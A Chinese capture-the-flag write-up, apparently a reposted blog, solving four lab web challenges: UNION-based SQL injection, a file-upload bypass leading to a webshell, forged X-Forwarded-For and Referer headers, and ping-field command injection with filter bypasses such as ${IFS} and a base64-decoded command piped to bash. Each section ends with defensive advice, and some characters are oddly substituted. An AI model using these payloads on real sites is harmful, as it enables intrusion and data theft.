免责声明：用户因使用公众号内容而产生的任何行为和后果，由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
**本文以攻防世界部分题为例举行演示，后续会对攻防世界大部分的web标题举行演示，假如你感爱好请关注**
目次
一：Newscenter
二：upload1
三：Xff_referer
四：Command_execution
五：总结
1. Newscenter（SQL注入）
2. upload1（文件上传漏洞）
3. Xff_referer（HTTP头伪造）
4. Command_execution（命令注入）
一：Newscenter
打开为如下所示
经过尝试，得知在输入框中输入数字可得到不同内容
输入23就没有新闻
以是我们得知这个输入框和数据库有交互，那这题观察的可能就是SQL注入
发现将数据库中所有的内容都查询了出来，那这个题观察的就是SQL注入
字段长度为3
23' order by 3 #
回显字段有2,3
23' union select 1,2,3 #
数据库名为news
23' union select 1,database(),3 #
表名为如下
23' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #
根据表名查到列名
23' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #
乐成拿到flag
23' union select 1,fl4g,3 from secret_table #
二：upload1
发现有提示框提示须要上传图片，既然是提示框那就阐明是前端验证
关闭如下所示
然后我们上传一张php即可
用蚁剑连接即可
乐成拿到flag
三：Xff_referer
打开提示我们ip必须为123.123.123.123，那我们得知既然要ip来自于123，那就须要举行伪造ip头也就是X-Forwarded-For字段
打开bp举行抓包
输入X-Forwarded-For:123.123.123.123 举行伪造
发送后又提示我们泉源为google
泉源字段是referer
伪造referer字段
四：Command_execution
打开辟现为ping功能，我们先随便ping一下然后再看看可否检察其他数据
Ping 127.0.0.1 发现可以，那我们填写这样的payload：127.0.0.1 | ls
乐成实验ls，阐明没有任何过滤。那接下来就可以查找flag了
实验127.0.0.1 |find / -name “fl*”
发现可以文件如下
乐成拿到flag
五：总结
1. Newscenter（SQL注入）
观察点
- SQL注入漏洞：未对用户输入举行过滤，允许通过注入获取数据库信息。
- 团结查询（UNION注入）：通过构造团结查询语句获取敏感数据。
解题思绪
- 探测注入点：在搜刮框输入单引号'，观察是否存在报错。
- 判定字段数：使用ORDER BY确定查询字段数（如' ORDER BY 3--）。
- 团结查询注入：
- 构造Payload：' UNION SELECT 1,2,database()-- 获取数据库名。
- 继续查询表名（如information_schema.tables）、列名，最终读取flag字段。
关键技能
- 报错注入或布尔盲注（根据回显环境选择）。
- 利用information_schema数据库获取元数据。
防御发起
- 使用预编译语句（Prepared Statements）。
- 对输入举行严格的字符过滤和转义。
2. upload1（文件上传漏洞）
观察点
- 文件上传绕过：绕过前端和后端对文件范例、内容的检测。
- Webshell利用：上传m蚂获取服务器权限。
解题思绪
- 绕过前端验证：
- 修改文件扩展名为.php，并抓包修改Content-Type为image/jpeg。
- 绕事后端检测：
- 使用图片m（在图片中嵌入PHP代码），或利用.htaccess文件设置解析规则（如AddType application/x-httpd-php .jpg）。
- 访问上传文件：通过上传路径访问Webshell，实验系统命令获取flag。
关键技能
- 双写扩展名绕过（如up.php.phtml）。
- 利用服务器解析漏洞（如Apache解析漏洞test.php.xxx）。
防御发起
- 限制上传文件范例，使用白名单机制。
- 重定名上传文件，制止直接实验。
3. Xff_referer（HTTP头伪造）
观察点
- HTTP头伪造：伪造X-Forwarded-For（XFF）和Referer头绕过访问控制。
- 当地访问限制：服务器仅允许特定泉源或当地IP访问。
解题思绪
- 伪造XFF头：使用Burp Suite拦截请求，添加X-Forwarded-For: 127.0.0.1伪装当地IP。
- 伪造Referer头：修改Referer为标题指定域名（如http://www.google.com）通过验证。
关键技能
- 工具：Burp Suite/Postman修改请求头。
- 理解HTTP头在访问控制中的作用。
防御发起
- 制止依靠客户端可控的字段（如XFF、Referer）做权限验证。
- 使用服务器端会话机制管理权限。
4. Command_execution（命令注入）
观察点
- 命令注入漏洞：未过滤用户输入直接拼接系统命令。
- 绕过过滤本事：绕过空格、关键词黑名单等限制。
解题思绪
- 探测注入点：输入127.0.0.1; ls尝试实验命令。
- 绕过过滤：
- 空格绕过：使用${IFS}或%09（Tab的URL编码）。
- 关键词绕过：用ca\t或base64编码命令（如echo "Y2F0IGZsYWc=" | base64 -d | bash）。
- 读取flag：通过cat或tac命令读取flag文件。
关键技能
- 命令分隔符：;、&、|、||。
- 通配符绕过：cat fla*。
防御发起
- 使用安全的API（如subprocess模块）替换直接实验命令。
- 严格校验输入，禁止特殊字符。
（须要源代码及各类资料联系博主免费领取！！还希望多多关注点赞支持，你的支持就是我的最大动力！！！）
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。 |
